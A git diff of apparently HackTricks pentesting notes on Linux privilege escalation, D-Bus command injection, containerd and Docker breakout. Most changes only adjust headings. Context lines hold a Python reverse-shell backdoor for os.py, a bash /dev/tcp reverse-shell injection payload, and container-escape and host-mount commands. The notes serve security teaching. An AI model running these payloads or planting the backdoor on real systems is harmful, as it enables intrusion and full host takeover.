shell @@ -1443,14 +1441,14 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zshrc #zsh shell ``` -## Generic Creds Search/Regex +# Generic Creds Search/Regex You should also check for files containing the word "**password**" in it's **name** or inside the **content**, also check for IPs and emails inside logs, or hashes regexps.\ I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. # Writable files -## Python library hijacking +# Python library hijacking If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). @@ -1460,7 +1458,7 @@ To **backdoor the library** just add at the end of the os.py library the followi import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -## Logrotate exploitation +# Logrotate exploitation There is a vulnerability on `logrotate`that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate`write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.\ So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** (on most linux distributions, logrotate is executed automatically once a day as **user root**). Also, check if apart of _/var/log_ there are more files being **rotated**. @@ -1475,7 +1473,7 @@ You can exploit this vulnerability with [**logrotten**](https://github.com/whotw This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. -## /etc/sysconfig/network-scripts/ (Centos/Redhat) +# /etc/sysconfig/network-scripts/ (Centos/Redhat) If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. @@ -1495,7 +1493,7 @@ DEVICE=eth0 **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) -## **init, init.d, systemd, and rc.d** +# **init, init.d, systemd, and rc.d** `/etc/init.d` contains **scripts** used by the System V init tools (SysVinit). This is the **traditional service management package for Linux**, containing the `init` program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in `/etc/init.d` are shell scripts that respond to `start`, `stop`, `restart`, and (when supported) `reload` commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in `/etc/rc?.d/`). (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d#:\~:text=%2Fetc%2Finit%20contains%20configuration%20files,the%20status%20of%20a%20service.))\ Other alternative to this folder is `/etc/rc.d/init.d` in Redhat @@ -1507,25 +1505,25 @@ Files that ships in packages downloaded from distribution repository go into `/u # Other Tricks -## NFS Privilege escalation +# NFS Privilege escalation {% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} [nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md) {% endcontent-ref %} -## Escaping from restricted Shells +# Escaping from restricted Shells {% content-ref url="escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](escaping-from-limited-bash.md) {% endcontent-ref %} -## Cisco - vmanage +# Cisco - vmanage {% content-ref url="cisco-vmanage.md" %} [cisco-vmanage.md](cisco-vmanage.md) {% endcontent-ref %} -## Kernel Security Protections +# Kernel Security Protections * [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) * [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1536,7 +1534,7 @@ Files that ships in packages downloaded from distribution repository go into `/u # Linux/Unix Privesc Tools -## **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +# **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/linux-unix/privilege-escalation/apparmor.md b/linux-unix/privilege-escalation/apparmor.md index bf0b354a..53a97b92 100644 --- a/linux-unix/privilege-escalation/apparmor.md +++ b/linux-unix/privilege-escalation/apparmor.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# AppArmor - -## Basic Information +# Basic Information **AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources **with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths. @@ -32,21 +30,21 @@ AppArmor profiles can be in one of **two modes**: AppArmor differs from some other MAC systems on Linux: it is **path-based**, it allows mixing of enforcement and complain mode profiles, it uses include files to ease development, and it has a far lower barrier to entry than other popular MAC systems. -### Parts of AppArmor +## Parts of AppArmor * **Kernel module**: Does the actual work * **Policies**: Defines the behaviour and containment * **Parser**: Loads the policies into kernel * **Utilities**: Usermode programs to interact with apparmor -### Profiles path +## Profiles path Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ -### Commands +## Commands ```bash aa-status #check the current status @@ -58,7 +56,7 @@ aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` -## Creating a profile +# Creating a profile * In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. * To indicate the access the binary will have over **files** the following **access controls** can be used: @@ -74,7 +72,7 @@ aa-mergeprof #used to merge the policies * **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) * **Deny rules are supported to override allow rules**. -### aa-genprof +## aa-genprof To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ You just need to run: @@ -95,7 +93,7 @@ Then, in the first console press "**s**" and then in the recorded actions indica Using the arrow keys you can select what you want to allow/deny/whatever {% endhint %} -### aa-easyprof +## aa-easyprof You can also create a template of an apparmor profile of a binary with: @@ -134,7 +132,7 @@ You can then **enforce** the new profile with sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` -### Modifying a profile from logs +## Modifying a profile from logs The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: @@ -146,7 +144,7 @@ sudo aa-logprof Using the arrow keys you can select what you want to allow/deny/whatever {% endhint %} -### Managing a Profile +## Managing a Profile ```bash #Main profile management commands @@ -156,7 +154,7 @@ apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` -## Logs +# Logs Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: @@ -185,7 +183,7 @@ AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` -## Apparmor in Docker +# Apparmor in Docker Note how the profile **docker-profile** of docker is loaded by default: @@ -249,7 +247,7 @@ Note that you can **add/remove** **capabilities** to the docker container (this Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. {% endhint %} -### AppArmor Docker breakout +## AppArmor Docker breakout You can find which **apparmor profile is running a container** using: diff --git a/linux-unix/privilege-escalation/cisco-vmanage.md b/linux-unix/privilege-escalation/cisco-vmanage.md index 7645faad..aa5783ae 100644 --- a/linux-unix/privilege-escalation/cisco-vmanage.md +++ b/linux-unix/privilege-escalation/cisco-vmanage.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Cisco - vmanage - -## Path 1 +# Path 1 (Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) @@ -68,7 +66,7 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` -## Path 2 +# Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) diff --git a/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md b/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md index 3f427ea6..8b77d42f 100644 --- a/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Containerd (ctr) Privilege Escalation - -## Basic information +# Basic information Go to the following link to learn **what is containerd** and `ctr`: @@ -27,7 +25,7 @@ Go to the following link to learn **what is containerd** and `ctr`: [2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md) {% endcontent-ref %} -## PE 1 +# PE 1 if you find that a host contains the `ctr` command: @@ -51,13 +49,13 @@ And then **run one of those images mounting the host root folder to it**: ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` -## PE 2 +# PE 2 Run a container privileged and escape from it.\ You can run a privileged container as: ```bash - ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash + ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: diff --git a/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 4858ee5c..38054a16 100644 --- a/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# D-Bus Enumeration & Command Injection Privilege Escalation - -## **GUI enumeration** +# **GUI enumeration** **(This enumeration info was taken from** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)** @@ -59,9 +57,9 @@ _Figure 4. A method that requires authorization_ Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. -## **Cmd line Enumeration** +# **Cmd line Enumeration** -### List Service Objects +## List Service Objects It's possible to list opened D-Bus interfaces with: @@ -89,11 +87,11 @@ org.freedesktop.hostname1 - - - (act org.freedesktop.locale1 - - - (activatable) - - ``` -#### Connections +### Connections When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. -### Service Object Info +## Service Object Info Then, you can obtain some information about the interface with: @@ -157,7 +155,7 @@ BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search cap_wake_alarm cap_block_suspend cap_audit_read ``` -### List Interfaces of a Service Object +## List Interfaces of a Service Object You need to have enough permissions. @@ -169,7 +167,7 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb/oouch/Block ``` -### Introspect Interface of a Service Object +## Introspect Interface of a Service Object Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): @@ -193,7 +191,7 @@ org.freedesktop.DBus.Properties interface - - - Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. -### Monitor/Capture Interface +## Monitor/Capture Interface With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. @@ -234,7 +232,7 @@ Monitoring bus message stream. You can use `capture` instead of `monitor` to save the results in a pcap file. -#### Filtering all the noise +### Filtering all the noise If there is just too much information on the bus, pass a match rule like so: @@ -256,11 +254,11 @@ See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification -### More +## More `busctl` have even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). -## **Vulnerable Scenario** +# **Vulnerable Scenario** As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: @@ -306,7 +304,7 @@ As you can see, it is **connecting to a D-Bus interface** and sending to the **" In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ **The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -### Exploit it +## Exploit it At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the **_**D-Bus object path**_ **and **_**interface name**_** are registered**. This information will be necessary to send information to the D-Bus connection: @@ -326,7 +324,7 @@ Also, in line 57 you can find that **the only method registered** for this D-Bus SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` -#### Python +### Python The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): @@ -340,7 +338,7 @@ response = block_iface.Block(runme) bus.close() ``` -#### busctl and dbus-send +### busctl and dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' @@ -355,7 +353,7 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ -### C code +## C code {% code title="d-bus_server.c" %} ```c diff --git a/linux-unix/privilege-escalation/docker-breakout.md b/linux-unix/privilege-escalation/docker-breakout.md index 7a69d83a..81dce469 100644 --- a/linux-unix/privilege-escalation/docker-breakout.md +++ b/linux-unix/privilege-escalation/docker-breakout.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Docker Breakout - -## What is a container +# What is a container In summary, it's an **isolated** **process** via **cgroups** (what the process can use, like CPU and RAM) and **namespaces** (what the process can see, like directories or other processes): @@ -29,7 +27,7 @@ ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` -## Mounted docker socket +# Mounted docker socket If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. @@ -53,7 +51,7 @@ docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** {% endhint %} -## Container Capabilities +# Container Capabilities You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`** @@ -69,11 +67,11 @@ In the following page you can **learn more about linux capabilities** and how to [linux-capabilities.md](linux-capabilities.md) {% endcontent-ref %} -## `--privileged` flag +# `--privileged` flag The --privileged flag allows the container to have access to the host devices. -### I own Root +## I own Root Well configured docker containers won't allow command like **fdisk -l**. However on missconfigured docker command where the flag --privileged is specified, it is possible to get the privileges to see the host drive. @@ -147,7 +145,7 @@ Further, Docker [starts containers with the `docker-default` AppArmor](https://d A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` -### Breaking down the proof of concept +## Breaking down the proof of concept Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works. @@ -216,11 +214,11 @@ root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` -## `--privileged` flag v2 +# `--privileged` flag v2 The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point. -### Kata Containers +## Kata Containers ``` root@container:~$ head -1 /etc/mtab @@ -231,7 +229,7 @@ kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virt \* More on Kata Containers in a future blog post. -### Device Mapper +## Device Mapper ``` root@container:~$ head -1 /etc/mtab @@ -240,13 +238,13 @@ root@container:~$ head -1 /etc/mtab I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. -### An Alternative PoC +## An Alternative PoC Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity. The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere. -#### Proc to the Rescue +### Proc to the Rescue The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container @@ -296,7 +294,7 @@ findme This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container. -#### Pid Bashing +### Pid Bashing This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container @@ -316,7 +314,7 @@ root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` -#### Putting it All Together +### Putting it All Together To complete this attack the brute force technique can be used to guess the pid for the path `/proc//root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created. @@ -414,7 +412,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -## Runc exploit (CVE-2019-5736) +# Runc exploit (CVE-2019-5736) In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. @@ -427,11 +425,11 @@ This will trigger the payload which is present in the main.go file. For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) -## Docker Auth Plugin Bypass +# Docker Auth Plugin Bypass In some occasions, the sysadmin may install some plugins to docker to avoid low privilege users to interact with docker without being able to escalate privileges. -### disallowed `run --privileged` +## disallowed `run --privileged` In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: @@ -451,7 +449,7 @@ docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6f Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host. -### Mount Writable Folder +## Mount Writable Folder In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: @@ -472,7 +470,7 @@ Note that maybe you cannot mount the folder `/tmp` but you can mount a **differe Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) {% endhint %} -### Unchecked JSON Structure +## Unchecked JSON Structure It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) like "**Binds**".\ In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: @@ -487,7 +485,7 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` -### Unchecked JSON Attribute +## Unchecked JSON Attribute It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parametter** of the API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: @@ -501,27 +499,27 @@ capsh --print #You can abuse the SYS_MODULE capability ``` -## Writable hostPath Mount +# Writable hostPath Mount (Info from [**here**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: ```bash -#### Check if You Can Write to a File-system +### Check if You Can Write to a File-system $ echo 1 > /proc/sysrq-trigger -#### Check root UUID +### Check root UUID $ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem $ findfs UUID=/dev/sda1- Attempt to Mount the Host's Filesystem $ mkdir /mnt-test $ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. -#### debugfs (Interactive File System Debugger) +### debugfs (Interactive File System Debugger) $ debugfs /dev/sda1 ``` -## Containers Security Improvements +# Containers Security Improvements -### Seccomp in Docker +## Seccomp in Docker This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker: @@ -529,7 +527,7 @@ This is not a technique to breakout from a Docker container but a security featu [seccomp.md](seccomp.md) {% endcontent-ref %} -### AppArmor in Docker +## AppArmor in Docker This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker: @@ -537,7 +535,7 @@ This is not a technique to breakout from a Docker container but a security featu [apparmor.md](apparmor.md) {% endcontent-ref %} -### AuthZ & AuthN +## AuthZ & AuthN An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data. @@ -545,19 +543,19 @@ An authorization plugin **approves** or **denies** **requests** to the Docker ** [Broken link](broken-reference) {% endcontent-ref %} -### gVisor +## gVisor **gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. {% embed url="https://github.com/google/gvisor" %} -## Kata Containers +# Kata Containers **Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide** stronger workload isolation using hardware virtualization** technology as a second layer of defense. {% embed url="https://katacontainers.io/" %} -### Use containers securely +## Use containers securely Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary. @@ -572,7 +570,7 @@ To help keep containers secure: * Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. * Regularly rebuild your images to apply security patches. This goes without saying. -## References +# References * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) diff --git a/linux-unix/privilege-escalation/docker-breakout/README.md b/linux-unix/privilege-escalation/docker-breakout/README.md index 5a6bb401..ff06ae7f 100644 --- a/linux-unix/privilege-escalation/docker-breakout/README.md +++ b/linux-unix/privilege-escalation/docker-breakout/README.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Docker Basics & Breakout - -## **Basic Docker Engine Security** +# **Basic Docker Engine Security** Docker engine does the heavy lifting of running and managing Containers. Docker engine uses Linux kernel features like **Namespaces** and **Cgroups** to provide basic **isolation** across Containers. Advanced isolation can be achieved using Linux kernel features like **Capabilities**, **Seccomp**, **SELinux/AppArmor**. Docker exposes these Linux kernel capabilities either at Docker daemon level or at each Container level. @@ -28,7 +26,7 @@ Finally, an **auth plugin** can be used to **limit the actions** users can perfo ![](<../../../.gitbook/assets/image (625) (1) (1).png>) -### **Docker engine secure access** +## **Docker engine secure access** Docker client can access Docker engine **locally using Unix socket or remotely using http** mechanism. To use it remotely, it is needed to use https and **TLS** so that confidentiality, integrity and authentication can be ensured. @@ -43,7 +41,7 @@ Sudo service docker restart -> Restart Docker daemon Exposing Docker daemon using http is not a good practice and it is needed to secure the connection using https. There are two options: first option is for **client to verify server identity** and in second option **both client and server verify each other’s identity**. Certificates establish the identity of a server. For an example of both options [**check this page**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). -### **Container image security** +## **Container image security** Container images are stored either in private repository or public repository. Following are the options that Docker provides for storing Container images: @@ -51,13 +49,13 @@ Container images are stored either in private repository or public repository. F * [Docker registry](https://github.com/%20docker/distribution) – This is an open source project that users can use to host their own registry. * [Docker trusted registry](https://www.docker.com/docker-trusted-registry) – This is Docker’s commercial implementation of Docker registry and it provides role based user authentication along with LDAP directory service integration. -### Image Scanning +## Image Scanning Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. For more [**information read this**](https://docs.docker.com/engine/scan/). -#### How to scan images +### How to scan images The `docker scan` command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: @@ -77,7 +75,7 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` -### Docker Image Signing +## Docker Image Signing Docker Container images can be stored either in public or private registry. It is needed to **sign** **Container** images to be able to confirm images haven't being tampered. Content **publisher** takes care of **signing** Container image and pushing it into the registry.\ Following are some details on Docker content trust: @@ -117,9 +115,9 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private When I changed Docker host, I had to move the root keys and repository keys to operate from the new host. -## Containers Security Improvements +# Containers Security Improvements -### Namespaces +## Namespaces **Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. @@ -137,7 +135,7 @@ For **more information about the namespaces** check the following page: [namespaces.md](namespaces.md) {% endcontent-ref %} -### cgroups +## cgroups Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. @@ -154,7 +152,7 @@ ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` -### Capabilities +## Capabilities Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. @@ -162,7 +160,7 @@ Capabilities allow **finer control for the capabilities that can be allowed** fo [linux-capabilities.md](../linux-capabilities.md) {% endcontent-ref %} -### Seccomp in Docker +## Seccomp in Docker This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: @@ -170,7 +168,7 @@ This is a security feature that allows Docker to **limit the syscalls** that can [seccomp.md](seccomp.md) {% endcontent-ref %} -### AppArmor in Docker +## AppArmor in Docker **AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: @@ -178,7 +176,7 @@ This is a security feature that allows Docker to **limit the syscalls** that can [apparmor.md](apparmor.md) {% endcontent-ref %} -### SELinux in Docker +## SELinux in Docker [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. @@ -188,7 +186,7 @@ Container engines launch **container processes with a single confined SELinux la [selinux.md](../selinux.md) {% endcontent-ref %} -### AuthZ & AuthN +## AuthZ & AuthN An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the 